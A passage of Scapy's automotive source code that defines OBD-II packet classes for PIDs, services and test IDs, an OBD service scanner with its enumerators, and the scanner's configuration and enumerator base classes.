[ StrFixedLenField('data', b'', 4) ] class OBD_PID9E(OBD_Packet): name = "PID_9E_EngineExhaustFlowRate" fields_desc = [ StrFixedLenField('data', b'', 2) ] class OBD_PID9F(OBD_Packet): name = "PID_9F_FuelSystemPercentageUse" fields_desc = [ StrFixedLenField('data', b'', 9) ] ================================================ FILE: scapy/contrib/automotive/obd/pid/pids_A0_C0.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # scapy.contrib.status = skip from scapy.fields import StrFixedLenField, FlagsField from scapy.contrib.automotive.obd.packet import OBD_Packet # See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information # PID = Parameter IDentification class OBD_PIDA0(OBD_Packet): name = "PID_A0_PIDsSupported" fields_desc = [ FlagsField('supported_pids', 0, 32, [ 'PIDC0', 'PIDBF', 'PIDBE', 'PIDBD', 'PIDBC', 'PIDBB', 'PIDBA', 'PIDB9', 'PIDB8', 'PIDB7', 'PIDB6', 'PIDB5', 'PIDB4', 'PIDB3', 'PIDB2', 'PIDB1', 'PIDB0', 'PIDAF', 'PIDAE', 'PIDAD', 'PIDAC', 'PIDAB', 'PIDAA', 'PIDA9', 'PIDA8', 'PIDA7', 'PIDA6', 'PIDA5', 'PIDA4', 'PIDA3', 'PIDA2', 'PIDA1' ]) ] class OBD_PIDA1(OBD_Packet): name = "PID_A1_NoxSensorCorrectedData" fields_desc = [ StrFixedLenField('data', b'', 9) ] class OBD_PIDA2(OBD_Packet): name = "PID_A2_CylinderFuelRate" fields_desc = [ StrFixedLenField('data', b'', 2) ] class OBD_PIDA3(OBD_Packet): name = "PID_A3_EvapSystemVaporPressure" fields_desc = [ StrFixedLenField('data', b'', 9) ] class OBD_PIDA4(OBD_Packet): name = "PID_A4_TransmissionActualGear" fields_desc = [ StrFixedLenField('data', b'', 4) ] class OBD_PIDA5(OBD_Packet): name = "PID_A5_DieselExhaustFluidDosing" fields_desc = [ StrFixedLenField('data', b'', 4) ] class OBD_PIDA6(OBD_Packet): name = "PID_A6_Odometer" fields_desc = [ StrFixedLenField('data', b'', 4) ] class OBD_PIDC0(OBD_Packet): name = "PID_C0_PIDsSupported" fields_desc = [ FlagsField('supported_pids', 0, 32, [ 'PIDE0', 'PIDDF', 'PIDDE', 'PIDDD', 'PIDDC', 'PIDDB', 'PIDDA', 'PIDD9', 'PIDD8', 'PIDD7', 'PIDD6', 'PIDD5', 'PIDD4', 'PIDD3', 'PIDD2', 'PIDD1', 'PIDD0', 'PIDCF', 'PIDCE', 'PIDCD', 'PIDCC', 'PIDCB', 'PIDCA', 'PIDC9', 'PIDC8', 'PIDC7', 'PIDC6', 'PIDC5', 'PIDC4', 'PIDC3', 'PIDC2', 'PIDC1' ]) ] ================================================ FILE: scapy/contrib/automotive/obd/scanner.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Andreas Korb # Copyright (C) Friedrich Feigel # Copyright (C) Nils Weiss # scapy.contrib.description = OnBoardDiagnosticScanner # scapy.contrib.status = loads import copy from scapy.contrib.automotive.obd.obd import OBD, OBD_S03, OBD_S07, OBD_S0A, \ OBD_S01, OBD_S06, OBD_S08, OBD_S09, OBD_NR, OBD_S02, OBD_S02_Record from scapy.config import conf from scapy.packet import Packet from scapy.themes import BlackAndWhite from scapy.contrib.automotive.scanner.enumerator import ServiceEnumerator, \ _AutomotiveTestCaseScanResult, _AutomotiveTestCaseFilteredScanResult from scapy.contrib.automotive.scanner.executor import \ AutomotiveTestCaseExecutor from scapy.contrib.automotive.ecu import EcuState from scapy.contrib.automotive.scanner.test_case import AutomotiveTestCaseABC, \ _SocketUnion # Typing imports from typing import ( List, Type, Any, Iterable, ) class OBD_Enumerator(ServiceEnumerator): _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs) _supported_kwargs.update({ 'full_scan': (bool, None), }) _supported_kwargs_doc = ServiceEnumerator._supported_kwargs_doc + """ :param bool full_scan: Specifies if the entire scan range is tested, or if the bitmask with supported identifiers is queried and only supported identifiers are scanned.""" @staticmethod def _get_negative_response_code(resp): # type: (Packet) -> int return resp.response_code @staticmethod def _get_negative_response_desc(nrc): # type: (int) -> str return OBD_NR(response_code=nrc).sprintf("%OBD_NR.response_code%") @staticmethod def _get_negative_response_label(response): # type: (Packet) -> str return response.sprintf("NR: %OBD_NR.response_code%") @property def filtered_results(self): # type: () -> List[_AutomotiveTestCaseFilteredScanResult] return self.results_with_positive_response class OBD_Service_Enumerator(OBD_Enumerator): """ Base class for OBD_Service_Enumerators """ def get_supported(self, socket, state, **kwargs): # type: (_SocketUnion, EcuState, Any) -> List[int] super(OBD_Service_Enumerator, self).execute( socket, state, scan_range=range(0, 0xff, 0x20), exit_scan_on_first_negative_response=True, **kwargs) supported = list() for _, _, r, _, _ in self.results_with_positive_response: dr = r.data_records[0] key = next(iter((dr.lastlayer().fields.keys()))) try: supported += [int(i[-2:], 16) for i in getattr(dr, key, ["xxx00"])] except TypeError: pass return list(set([i for i in supported if i % 0x20])) def execute(self, socket, state, **kwargs): # type: (_SocketUnion, EcuState, Any) -> None full_scan = kwargs.pop("full_scan", False) # type: bool if full_scan: super(OBD_Service_Enumerator, self).execute(socket, state, **kwargs) else: supported_pids = self.get_supported(socket, state, **kwargs) del self._request_iterators[state] super(OBD_Service_Enumerator, self).execute( socket, state, scan_range=supported_pids, **kwargs) execute.__doc__ = OBD_Enumerator._supported_kwargs_doc @staticmethod def print_payload(resp): # type: (Packet) -> str backup_ct = conf.color_theme conf.color_theme = BlackAndWhite() load = repr(resp.data_records[0].lastlayer()) conf.color_theme = backup_ct return load def _get_table_entry_z(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return self._get_label(tup[2], self.print_payload) class OBD_DTC_Enumerator(OBD_Enumerator): @staticmethod def print_payload(resp): # type: (Packet) -> str backup_ct = conf.color_theme conf.color_theme = BlackAndWhite() load = repr(resp.dtcs) conf.color_theme = backup_ct return load class OBD_S03_Enumerator(OBD_DTC_Enumerator): _description = "Available DTCs in OBD service 03" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] return [OBD() / OBD_S03()] def _get_table_entry_x(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "Service 03" def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str resp = tup[2] if resp is None: return "Timeout" else: return "NR" if resp.service == 0x7f else "%d DTCs" % resp.count class OBD_S07_Enumerator(OBD_DTC_Enumerator): _description = "Available DTCs in OBD service 07" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] return [OBD() / OBD_S07()] def _get_table_entry_x(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "Service 07" class OBD_S0A_Enumerator(OBD_DTC_Enumerator): _description = "Available DTCs in OBD service 10" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] return [OBD() / OBD_S0A()] def _get_table_entry_x(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "Service 0A" class OBD_S01_Enumerator(OBD_Service_Enumerator): """OBD_S01_Enumerator""" _description = "Available data in OBD service 01" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] scan_range = kwargs.pop("scan_range", range(0x100)) # type: Iterable[int] # noqa: E501 return (OBD() / OBD_S01(pid=[x]) for x in scan_range) def _get_table_entry_x(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "Service 01" def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str resp = tup[2] if resp is None: return "Timeout" else: return "NR" if resp.service == 0x7f else \ "%s" % resp.data_records[0].lastlayer().name class OBD_S02_Enumerator(OBD_Service_Enumerator): _description = "Available data in OBD service 02" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] scan_range = kwargs.pop("scan_range", range(0x100)) # type: Iterable[int] # noqa: E501 return (OBD() / OBD_S02(requests=[OBD_S02_Record(pid=[x])]) for x in scan_range) def _get_table_entry_x(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "Service 02" def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str resp = tup[2] if resp is None: return "Timeout" else: return "NR" if resp.service == 0x7f else \ "%s" % resp.data_records[0].lastlayer().name class OBD_S06_Enumerator(OBD_Service_Enumerator): _description = "Available data in OBD service 06" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] scan_range = kwargs.pop("scan_range", range(0x100)) # type: Iterable[int] # noqa: E501 return (OBD() / OBD_S06(mid=[x]) for x in scan_range) def _get_table_entry_x(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "Service 06" def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str req = tup[1] resp = tup[2] if resp is None: return "Timeout" else: return "NR" if resp.service == 0x7f else \ "0x%02x %s" % ( req.mid[0], resp.data_records[0].sprintf("%OBD_S06_PR_Record.mid%")) class OBD_S08_Enumerator(OBD_Service_Enumerator): _description = "Available data in OBD service 08" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] scan_range = kwargs.pop("scan_range", range(0x100)) # type: Iterable[int] # noqa: E501 return (OBD() / OBD_S08(tid=[x]) for x in scan_range) def _get_table_entry_x(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "Service 08" def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str resp = tup[2] if resp is None: return "Timeout" else: return "NR" if resp.service == 0x7f else "0x%02x %s" % ( tup[1].tid[0], resp.data_records[0].lastlayer().name) class OBD_S09_Enumerator(OBD_Service_Enumerator): _description = "Available data in OBD service 09" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] scan_range = kwargs.pop("scan_range", range(0x100)) # type: Iterable[int] # noqa: E501 return (OBD() / OBD_S09(iid=[x]) for x in scan_range) def _get_table_entry_x(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "Service 09" def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str resp = tup[2] if resp is None: return "Timeout" else: return "NR" if resp.service == 0x7f else \ "0x%02x %s" % (tup[1].iid[0], resp.data_records[0].lastlayer().name) class OBD_Scanner(AutomotiveTestCaseExecutor): @property def enumerators(self): # type: () -> List[AutomotiveTestCaseABC] return self.configuration.test_cases @property def default_test_case_clss(self): # type: () -> List[Type[AutomotiveTestCaseABC]] return [OBD_S01_Enumerator, OBD_S02_Enumerator, OBD_S06_Enumerator, OBD_S08_Enumerator, OBD_S09_Enumerator, OBD_S03_Enumerator, OBD_S07_Enumerator, OBD_S0A_Enumerator] ================================================ FILE: scapy/contrib/automotive/obd/services.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # scapy.contrib.status = skip from scapy.fields import ByteField, XByteField, BitEnumField, \ PacketListField, XBitField, XByteEnumField, FieldListField, FieldLenField from scapy.packet import Packet from scapy.contrib.automotive.obd.packet import OBD_Packet from scapy.config import conf class OBD_DTC(OBD_Packet): name = "DiagnosticTroubleCode" locations = { 0b00: 'Powertrain', 0b01: 'Chassis', 0b10: 'Body', 0b11: 'Network', } fields_desc = [ BitEnumField('location', 0, 2, locations), XBitField('code1', 0, 2), XBitField('code2', 0, 4), XBitField('code3', 0, 4), XBitField('code4', 0, 4), ] class OBD_NR(Packet): name = "NegativeResponse" responses = { 0x10: 'generalReject', 0x11: 'serviceNotSupported', 0x12: 'subFunctionNotSupported-InvalidFormat', 0x21: 'busy-RepeatRequest', 0x22: 'conditionsNotCorrectOrRequestSequenceError', 0x78: 'requestCorrectlyReceived-ResponsePending' } fields_desc = [ XByteField('request_service_id', 0), XByteEnumField('response_code', 0, responses) ] def answers(self, other): return self.request_service_id == other.service and \ (self.response_code != 0x78 or conf.contribs['OBD']['treat-response-pending-as-answer']) class OBD_S01(Packet): name = "S1_CurrentData" fields_desc = [ FieldListField("pid", [], XByteField('', 0)) ] class OBD_S02_Record(OBD_Packet): fields_desc = [ XByteField('pid', 0), ByteField('frame_no', 0) ] class OBD_S02(Packet): name = "S2_FreezeFrameData" fields_desc = [ PacketListField("requests", [], OBD_S02_Record) ] class OBD_S03(Packet): name = "S3_RequestDTCs" class OBD_S03_PR(Packet): name = "S3_ResponseDTCs" fields_desc = [ FieldLenField('count', None, count_of='dtcs', fmt='B'), PacketListField('dtcs', [], OBD_DTC, count_from=lambda pkt: pkt.count) ] def answers(self, other): return isinstance(other, OBD_S03) class OBD_S04(Packet): name = "S4_ClearDTCs" class OBD_S04_PR(Packet): name = "S4_ClearDTCsPositiveResponse" def answers(self, other): return isinstance(other, OBD_S04) class OBD_S06(Packet): name = "S6_OnBoardDiagnosticMonitoring" fields_desc = [ FieldListField("mid", [], XByteField('', 0)) ] class OBD_S07(Packet): name = "S7_RequestPendingDTCs" class OBD_S07_PR(Packet): name = "S7_ResponsePendingDTCs" fields_desc = [ FieldLenField('count', None, count_of='dtcs', fmt='B'), PacketListField('dtcs', [], OBD_DTC, count_from=lambda pkt: pkt.count) ] def answers(self, other): return isinstance(other, OBD_S07) class OBD_S08(Packet): name = "S8_RequestControlOfSystem" fields_desc = [ FieldListField("tid", [], XByteField('', 0)) ] class OBD_S09(Packet): name = "S9_VehicleInformation" fields_desc = [ FieldListField("iid", [], XByteField('', 0)) ] class OBD_S0A(Packet): name = "S0A_RequestPermanentDTCs" class OBD_S0A_PR(Packet): name = "S0A_ResponsePermanentDTCs" fields_desc = [ FieldLenField('count', None, count_of='dtcs', fmt='B'), PacketListField('dtcs', [], OBD_DTC, count_from=lambda pkt: pkt.count) ] def answers(self, other): return isinstance(other, OBD_S0A) ================================================ FILE: scapy/contrib/automotive/obd/tid/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # scapy.contrib.status = skip """ Package of contrib automotive obd specific modules that have to be loaded explicitly. """ ================================================ FILE: scapy/contrib/automotive/obd/tid/tids.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # scapy.contrib.status = skip from scapy.fields import FlagsField, ByteField, ScalingField, PacketListField from scapy.packet import bind_layers, Packet from scapy.contrib.automotive.obd.packet import OBD_Packet from scapy.contrib.automotive.obd.services import OBD_S08 class _OBD_TID_Voltage(OBD_Packet): fields_desc = [ ScalingField('data_a', 0, 0.005, "V"), ScalingField('data_b', 0, 0.005, "V"), ScalingField('data_c', 0, 0.005, "V"), ScalingField('data_d', 0, 0.005, "V"), ScalingField('data_e', 0, 0.005, "V"), ] class _OBD_TID_Time(OBD_Packet): fields_desc = [ ScalingField('data_a', 0, 0.004, "s"), ScalingField('data_b', 0, 0.004, "s"), ScalingField('data_c', 0, 0.004, "s"), ScalingField('data_d', 0, 0.004, "s"), ScalingField('data_e', 0, 0.004, "s"), ] class _OBD_TID_Period(OBD_Packet): fields_desc = [ ScalingField('data_a', 0, 0.04, "s"), ScalingField('data_b', 0, 0.04, "s"), ScalingField('data_c', 0, 0.04, "s"), ScalingField('data_d', 0, 0.04, "s"), ScalingField('data_e', 0, 0.04, "s"), ] class OBD_TID00(OBD_Packet): name = "TID_00_Service8SupportedTestIdentifiers" fields_desc = [ FlagsField('supported_tids', 0, 32, [ 'TID20', 'TID1F', 'TID1E', 'TID1D', 'TID1C', 'TID1B', 'TID1A', 'TID19', 'TID18', 'TID17', 'TID16', 'TID15', 'TID14', 'TID13', 'TID12', 'TID11', 'TID10', 'TID0F', 'TID0E', 'TID0D', 'TID0C', 'TID0B', 'TID0A', 'TID09', 'TID08', 'TID07', 'TID06', 'TID05', 'TID04', 'TID03', 'TID02', 'TID01' ]) ] class OBD_TID01(_OBD_TID_Voltage): name = "TID_01_RichToLeanSensorThresholdVoltage" class OBD_TID02(_OBD_TID_Voltage): name = "TID_02_LeanToRichSensorThresholdVoltage" class OBD_TID03(_OBD_TID_Voltage): name = "TID_03_LowSensorVoltageForSwitchTimeCalculation" class OBD_TID04(_OBD_TID_Voltage): name = "TID_04_HighSensorVoltageForSwitchTimeCalculation" class OBD_TID05(_OBD_TID_Time): name = "TID_05_RichToLeanSensorSwitchTime" class OBD_TID06(_OBD_TID_Time): name = "TID_06_LeanToRichSensorSwitchTime" class OBD_TID07(_OBD_TID_Voltage): name = "TID_07_MinimumSensorVoltageForTestCycle" class OBD_TID08(_OBD_TID_Voltage): name = "TID_08_MaximumSensorVoltageForTestCycle" class OBD_TID09(_OBD_TID_Period): name = "TID_09_TimeBetweenSensorTransitions" class OBD_TID0A(_OBD_TID_Period): name = "TID_0A_SensorPeriod" class OBD_S08_PR_Record(Packet): name = "Control Operation ID" fields_desc = [ ByteField("tid", 0), ] class OBD_S08_PR(Packet): name = "Control Operation IDs" fields_desc = [ PacketListField("data_records", [], OBD_S08_PR_Record) ] def answers(self, other): return isinstance(other, OBD_S08) \ and all(r.tid in other.tid for r in self.data_records) bind_layers(OBD_S08_PR_Record, OBD_TID00, tid=0x00) bind_layers(OBD_S08_PR_Record, OBD_TID01, tid=0x01) bind_layers(OBD_S08_PR_Record, OBD_TID02, tid=0x02) bind_layers(OBD_S08_PR_Record, OBD_TID03, tid=0x03) bind_layers(OBD_S08_PR_Record, OBD_TID04, tid=0x04) bind_layers(OBD_S08_PR_Record, OBD_TID05, tid=0x05) bind_layers(OBD_S08_PR_Record, OBD_TID06, tid=0x06) bind_layers(OBD_S08_PR_Record, OBD_TID07, tid=0x07) bind_layers(OBD_S08_PR_Record, OBD_TID08, tid=0x08) bind_layers(OBD_S08_PR_Record, OBD_TID09, tid=0x09) bind_layers(OBD_S08_PR_Record, OBD_TID0A, tid=0x0A) ================================================ FILE: scapy/contrib/automotive/scanner/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = Automotive Scanner Library # scapy.contrib.status = skip ================================================ FILE: scapy/contrib/automotive/scanner/configuration.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = AutomotiveTestCaseExecutorConfiguration # scapy.contrib.status = library import inspect from threading import Event from scapy.contrib.automotive import log_automotive from scapy.contrib.automotive.scanner.graph import Graph from scapy.contrib.automotive.scanner.test_case import AutomotiveTestCaseABC from scapy.contrib.automotive.scanner.staged_test_case import StagedAutomotiveTestCase # noqa: E501 # Typing imports from typing import ( Any, Union, List, Type, Set, cast, ) class AutomotiveTestCaseExecutorConfiguration(object): """ Configuration storage for AutomotiveTestCaseExecutor. The following keywords are used in the AutomotiveTestCaseExecutor: verbose: Enables verbose output and logging debug: Will raise Exceptions on internal errors :param test_cases: List of AutomotiveTestCase classes or instances. Classes will get instantiated in this initializer. :param kwargs: Configuration for every AutomotiveTestCase in test_cases and for the AutomotiveTestCaseExecutor. TestCase local configuration and global configuration for all TestCase objects are possible. All keyword arguments given will be stored for every TestCase. To define a local configuration for one TestCase only, the keyword arguments need to be provided in a dictionary. To assign a configuration dictionary to a TestCase, the keyword need to identify the TestCase by the following pattern. ``MyTestCase_kwargs={"someConfig": 42}`` The keyword is composed from the TestCase class name and the postfix '_kwargs'. Example: >>> config = AutomotiveTestCaseExecutorConfiguration([MyTestCase], global_config=42, MyTestCase_kwargs={"localConfig": 1337}) # noqa: E501 """ def __setitem__(self, key, value): # type: (Any, Any) -> None self.__dict__[key] = value def __getitem__(self, key): # type: (Any) -> Any return self.__dict__[key] def _generate_test_case_config(self, test_case_cls): # type: (Type[AutomotiveTestCaseABC]) -> None # try to get config from kwargs if test_case_cls in self.test_case_clss: return self.test_case_clss.add(test_case_cls) kwargs_name = test_case_cls.__name__ + "_kwargs" self.__setattr__(test_case_cls.__name__, self.global_kwargs.pop( kwargs_name, dict())) # apply global config val = self.__getattribute__(test_case_cls.__name__) for kwargs_key, kwargs_val in self.global_kwargs.items(): if "_kwargs" in kwargs_key: continue if kwargs_key not in val.keys(): val[kwargs_key] = kwargs_val self.__setattr__(test_case_cls.__name__, val) def add_test_case(self, test_case): # type: (Union[AutomotiveTestCaseABC, Type[AutomotiveTestCaseABC], StagedAutomotiveTestCase, Type[StagedAutomotiveTestCase]]) -> None # noqa: E501 if inspect.isclass(test_case): test_case_class = cast(Union[Type[AutomotiveTestCaseABC], Type[StagedAutomotiveTestCase]], test_case) if issubclass(test_case_class, StagedAutomotiveTestCase): self.add_test_case(test_case_class()) # type: ignore elif issubclass(test_case_class, AutomotiveTestCaseABC): self.add_test_case(test_case_class()) else: raise TypeError( "Provided class is not in " "Union[Type[AutomotiveTestCaseABC], " "Type[StagedAutomotiveTestCase]]") elif isinstance(test_case, AutomotiveTestCaseABC): self.test_cases.append(test_case) self._generate_test_case_config(test_case.__class__) if isinstance(test_case, StagedAutomotiveTestCase): self.stages.append(test_case) for tc in test_case.test_cases: self.staged_test_cases.append(tc) self._generate_test_case_config(tc.__class__) else: raise TypeError( "Provided instance or class of " "StagedAutomotiveTestCase or AutomotiveTestCaseABC") def __init__(self, test_cases, **kwargs): # type: (Union[List[Union[AutomotiveTestCaseABC, Type[AutomotiveTestCaseABC]]], List[Type[AutomotiveTestCaseABC]]], Any) -> None # noqa: E501 self.verbose = kwargs.get("verbose", False) self.debug = kwargs.get("debug", False) self.unittest = kwargs.pop("unittest", False) self.delay_enter_state = kwargs.pop("delay_enter_state", 0) self.state_graph = Graph() self.test_cases = list() # type: List[AutomotiveTestCaseABC] self.stages = list() # type: List[StagedAutomotiveTestCase] self.staged_test_cases = list() # type: List[AutomotiveTestCaseABC] self.test_case_clss = set() # type: Set[Type[AutomotiveTestCaseABC]] self.stop_event = Event() self.global_kwargs = kwargs self.global_kwargs["stop_event"] = self.stop_event for tc in test_cases: self.add_test_case(tc) log_automotive.debug("The following configuration was created") log_automotive.debug(self.__dict__) def __reduce__(self): # type: ignore f, t, d = super(AutomotiveTestCaseExecutorConfiguration, self).__reduce__() # type: ignore # noqa: E501 try: del d["tps"] except KeyError: pass try: del d["stop_event"] except KeyError: pass try: del d["global_kwargs"]["stop_event"] except KeyError: pass for tc in d["test_cases"]: try: del d[tc.__class__.__name__]["stop_event"] except KeyError: pass for tc in d["staged_test_cases"]: try: del d[tc.__class__.__name__]["stop_event"] except KeyError: pass try: del d["global_kwargs"]["stop_event"] except KeyError: pass return f, t, d ================================================ FILE: scapy/contrib/automotive/scanner/enumerator.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = ServiceEnumerator definitions # scapy.contrib.status = library import abc import threading import time import copy from collections import defaultdict, OrderedDict from itertools import chain from typing import NamedTuple from scapy.compat import orb from scapy.contrib.automotive import log_automotive from scapy.error import Scapy_Exception from scapy.utils import make_lined_table, EDecimal, PeriodicSenderThread from scapy.packet import Packet from scapy.contrib.automotive.ecu import EcuState, EcuResponse from scapy.contrib.automotive.scanner.test_case import AutomotiveTestCase, \ StateGenerator, _SocketUnion, _TransitionTuple from scapy.contrib.automotive.scanner.configuration import \ AutomotiveTestCaseExecutorConfiguration from scapy.contrib.automotive.scanner.graph import _Edge # Typing imports from typing import ( Any, Union, List, Optional, Iterable, Dict, Tuple, Set, Callable, cast, ) # Definition outside the class ServiceEnumerator to allow pickling _AutomotiveTestCaseScanResult = NamedTuple( "_AutomotiveTestCaseScanResult", [("state", EcuState), ("req", Packet), ("resp", Optional[Packet]), ("req_ts", Union[EDecimal, float]), ("resp_ts", Optional[Union[EDecimal, float]])]) _AutomotiveTestCaseFilteredScanResult = NamedTuple( "_AutomotiveTestCaseFilteredScanResult", [("state", EcuState), ("req", Packet), ("resp", Packet), ("req_ts", Union[EDecimal, float]), ("resp_ts", Union[EDecimal, float])]) class ServiceEnumerator(AutomotiveTestCase, metaclass=abc.ABCMeta): """ Base class for ServiceEnumerators of automotive diagnostic protocols """ _supported_kwargs = copy.copy(AutomotiveTestCase._supported_kwargs) _supported_kwargs.update({ 'timeout': ((int, float), lambda x: x > 0), 'count': (int, lambda x: x >= 0), 'execution_time': (int, None), 'state_allow_list': ((list, EcuState), None), 'state_block_list': ((list, EcuState), None), 'retry_if_none_received': (bool, None), 'exit_if_no_answer_received': (bool, None), 'exit_if_service_not_supported': (bool, None), 'exit_scan_on_first_negative_response': (bool, None), 'retry_if_busy_returncode': (bool, None), 'stop_event': (threading.Event, None), 'debug': (bool, None), 'scan_range': ((list, tuple, range), None), 'unittest': (bool, None), 'disable_tps_while_sending': (bool, None), 'inter': ((int, float), lambda x: x >= 0), }) _supported_kwargs_doc = AutomotiveTestCase._supported_kwargs_doc + """ :param timeout: Timeout until a response will arrive after a request :type timeout: integer or float :param integer count: Number of request to be sent in one execution :param int execution_time: Time in seconds until the execution of this enumerator is stopped. :param state_allow_list: List of EcuState objects or EcuState object in which the the execution of this enumerator is allowed. If provided, other states will not be executed. :type state_allow_list: EcuState or list :param state_block_list: List of EcuState objects or EcuState object in which the the execution of this enumerator is blocked. :type state_block_list: EcuState or list :param bool retry_if_none_received: Specifies if a request will be send again, if None was received (usually because of a timeout). :param bool exit_if_no_answer_received: Specifies to finish the execution of this enumerator once None is received. :param bool exit_if_service_not_supported: Specifies to finish the execution of this enumerator, once the negative return code 'serviceNotSupported' is received. :param bool exit_scan_on_first_negative_response: Specifies to finish the execution once a negative response is received. :param bool retry_if_busy_returncode: Specifies to retry a request, if the 'busyRepeatRequest' negative response code is received. :param bool debug: Enables debug functions during execute. :param Event stop_event: Signals immediate stop of the execution. :param scan_range: Specifies the identifiers to be scanned. :type scan_range: list or tuple or range or iterable :param disable_tps_while_sending: Temporary disables a TesterPresentSender to not interact with a seed request. :type disable_tps_while_sending: bool :param inter: delay between two packets during sending :type inter: int or float""" def __init__(self): # type: () -> None super(ServiceEnumerator, self).__init__() self._result_packets = OrderedDict() # type: Dict[bytes, Packet] self._results = list() # type: List[_AutomotiveTestCaseScanResult] self._request_iterators = dict() # type: Dict[EcuState, Iterable[Packet]] # noqa: E501 self._retry_pkt = defaultdict(list) # type: Dict[EcuState, Union[Packet, Iterable[Packet]]] # noqa: E501 self._negative_response_blacklist = [0x10, 0x11] # type: List[int] self._requests_per_state_estimated = None # type: Optional[int] self._tester_present_sender = None # type: Optional[PeriodicSenderThread] @staticmethod @abc.abstractmethod def _get_negative_response_code(resp): # type: (Packet) -> int raise NotImplementedError() @staticmethod @abc.abstractmethod def _get_negative_response_desc(nrc): # type: (int) -> str raise NotImplementedError() def _get_table_entry_x(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str """ Provides a table entry for the column which gets print during `show()`. :param tup: A results tuple :return: A string which describes the state """ return str(tup[0]) def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str """ Provides a table entry for the line which gets print during `show()`. :param tup: A results tuple :return: A string which describes the request """ return repr(tup[1]) def _get_table_entry_z(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str """ Provides a table entry for the field which gets print during `show()`. :param tup: A results tuple :return: A string which describes the response """ return repr(tup[2]) @staticmethod @abc.abstractmethod def _get_negative_response_label(response): # type: (Packet) -> str raise NotImplementedError() @abc.abstractmethod def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] raise NotImplementedError("Overwrite this method") def __reduce__(self): # type: ignore f, t, d = super(ServiceEnumerator, self).__reduce__() # type: ignore try: del d["_tester_present_sender"] except KeyError: pass try: for k, v in d["_request_iterators"].items(): d["_request_iterators"][k] = list(v) except KeyError: pass try: for k in d["_retry_pkt"]: d["_retry_pkt"][k] = list(self._get_retry_iterator(k)) except KeyError: pass return f, t, d @property def negative_response_blacklist(self): # type: () -> List[int] return self._negative_response_blacklist @property def completed(self): # type: () -> bool if len(self._results): return all([self.has_completed(s) for s in self.scanned_states]) else: return super(ServiceEnumerator, self).completed def _store_result(self, state, req, res): # type: (EcuState, Packet, Optional[Packet]) -> None if bytes(req) not in self._result_packets: self._result_packets[bytes(req)] = req if res and bytes(res) not in self._result_packets: self._result_packets[bytes(res)] = res self._results.append(_AutomotiveTestCaseScanResult( state, self._result_packets[bytes(req)], self._result_packets[bytes(res)] if res is not None else None, req.sent_time or 0.0, res.time if res is not None else None)) def _get_retry_iterator(self, state): # type: (EcuState) -> Iterable[Packet] retry_entry = self._retry_pkt[state] if isinstance(retry_entry, Packet): log_automotive.debug("Provide retry packet") return [retry_entry] elif isinstance(retry_entry, list): if len(retry_entry): log_automotive.debug("Provide retry list") else: log_automotive.debug("Provide retry iterator") # assume self.retry_pkt is a generator or list return retry_entry def _get_initial_request_iterator(self, state, **kwargs): # type: (EcuState, Any) -> Iterable[Packet] if state not in self._request_iterators: self._request_iterators[state] = iter( self._get_initial_requests(**kwargs)) return self._request_iterators[state] def _get_request_iterator(self, state, **kwargs): # type: (EcuState, Optional[Dict[str, Any]]) -> Iterable[Packet] return chain(self._get_retry_iterator(state), self._get_initial_request_iterator(state, **kwargs)) def _prepare_runtime_estimation(self, **kwargs): # type: (Optional[Dict[str, Any]]) -> None if self._requests_per_state_estimated is None: try: initial_requests = self._get_initial_requests(**kwargs) self._requests_per_state_estimated = len(list(initial_requests)) except NotImplementedError: pass def runtime_estimation(self): # type: () -> Optional[Tuple[int, int, float]] if self._requests_per_state_estimated is None: return None pkts_tbs = max( len(self.scanned_states) * self._requests_per_state_estimated, 1) pkts_snt = len(self.results) return pkts_tbs, pkts_snt, 